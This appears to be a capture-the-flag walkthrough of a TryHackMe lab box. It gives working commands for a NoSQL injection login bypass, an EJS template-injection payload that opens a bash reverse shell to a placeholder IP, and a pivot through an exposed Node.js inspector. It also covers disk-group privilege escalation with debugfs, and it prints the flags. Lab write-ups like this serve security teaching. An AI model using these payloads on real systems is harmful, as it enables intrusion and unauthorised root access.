Do Not Disturb — TryHackMe Hacker Holidays Day 7
A web-based Linux box involving NoSQL injection, Server-Side Template Injection (SSTI), Node.js inspector abuse, and disk group privilege escalation.
Overview
Welcome to the Hacker Holidays Day 7 — TryHackMe Walkthrough. This is a web-based Linux box involving NoSQL injection, Server-Side Template Injection (SSTI), Node.js inspector abuse, and disk group privilege escalation to get both user and root flags.
🎯 Objectives
- Gain initial foothold via NoSQL injection on login
- Exploit EJS SSTI for Remote Code Execution
- Pivot from
poolside→pipelinesvcvia Node.js inspector - Escalate to read root flag using the
diskgroup
Step 1 — Reconnaissance
Start with an nmap scan:
nmap -sV -p- 10.48.156.221
Two ports are open: 22 (SSH) and 80 (HTTP) running a Node.js/Express application called Byte Lotus — Poolside.
Run directory enumeration:
feroxbuster -u http://10.48.156.221/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -d 1
Results:
/— Login page/staff— 403 Forbidden (staff only)/logout— 302 redirect
Step 2 — NoSQL Injection on Login
The login form posts to /login with username and password fields. The placeholder hint attendant suggests a valid username.
Testing standard SQL injection returns "Invalid credentials." However, since the backend is Node.js + Express, MongoDB/NeDB (NoSQL) is more likely.
Send a NoSQL injection payload via JSON:
curl -s -X POST http://10.48.156.221/login \
-H "Content-Type: application/json" \
-d '{"username":"attendant","password":{"$ne":"wrong"}}' \
-c cookies.txt -v
Response:
{"ok":true,"role":"staff"}
The $ne (not equal) operator bypasses the password check. Save the session cookie and access /staff:
curl -s http://10.48.156.221/staff -b cookies.txt
Step 3 — Server-Side Template Injection (EJS SSTI → RCE)
The staff dashboard exposes a booking confirmation template editor using EJS. The textarea accepts raw EJS and renders it server-side — a classic SSTI vulnerability.
Test with:
<%= 7*7 %>
Output: 49 — confirmed SSTI.
Get a reverse shell. Start a listener on Kali:
nc -lvnp 4444
Send the payload:
curl -s -X POST http://10.48.156.221/staff/preview \
-b cookies.txt \
--data-urlencode "template=<%= process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"').toString() %>"
Shell received as poolside. Grab the user flag:
cat /home/poolside/user.txt
🎉 User Flag Captured
THM{w4rm_s3ss10n_h1j4ck3d}
Step 4 — Pivoting to pipelinesvc via Node.js Inspector
Checking internal ports:
ss -tlnp
Port 9229 is listening on localhost — the Node.js --inspect debugger, exposed by the lotus-telemetry service running as pipelinesvc.
Confirm via:
curl -s http://127.0.0.1:9229/json
This returns the WebSocket debugger URL for processor.js.
Use the built-in node inspect CLI to connect and execute a reverse shell:
1. Write reverse shell script:
cat > /tmp/rs.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/YOUR_IP/5555 0>&1
EOF
chmod +x /tmp/rs.sh
2. Start listener on Kali:
nc -lvnp 5555
3. Connect to inspector:
node inspect 127.0.0.1:9229
At the debug> prompt:
exec("process.mainModule.require('child_process').exec('/tmp/rs.sh')")
Shell received as pipelinesvc.
Step 5 — Root Flag via Disk Group Privilege Escalation
Check groups:
id
# uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
pipelinesvc is in the disk group — which allows raw read access to block devices. Find the root partition:
lsblk
# nvme0n1p1 is the root partition
Use debugfs to read the root flag directly from the raw disk:
debugfs /dev/nvme0n1p1
At the debugfs prompt:
cat /root/root.txt
🎉 ROOT FLAG CAPTURED!
THM{r4w_d1sk_4cc3ss_w4s_t00_much}
Vulnerability Summary
| Step | Vulnerability | Impact |
|---|---|---|
| Login bypass | NoSQL Injection ($ne operator) |
Auth bypass |
| RCE | EJS Server-Side Template Injection | Remote shell as poolside |
| Lateral movement | Node.js --inspect debugger exposed |
Shell as pipelinesvc |
| Privilege escalation | disk group membership |
Root file read |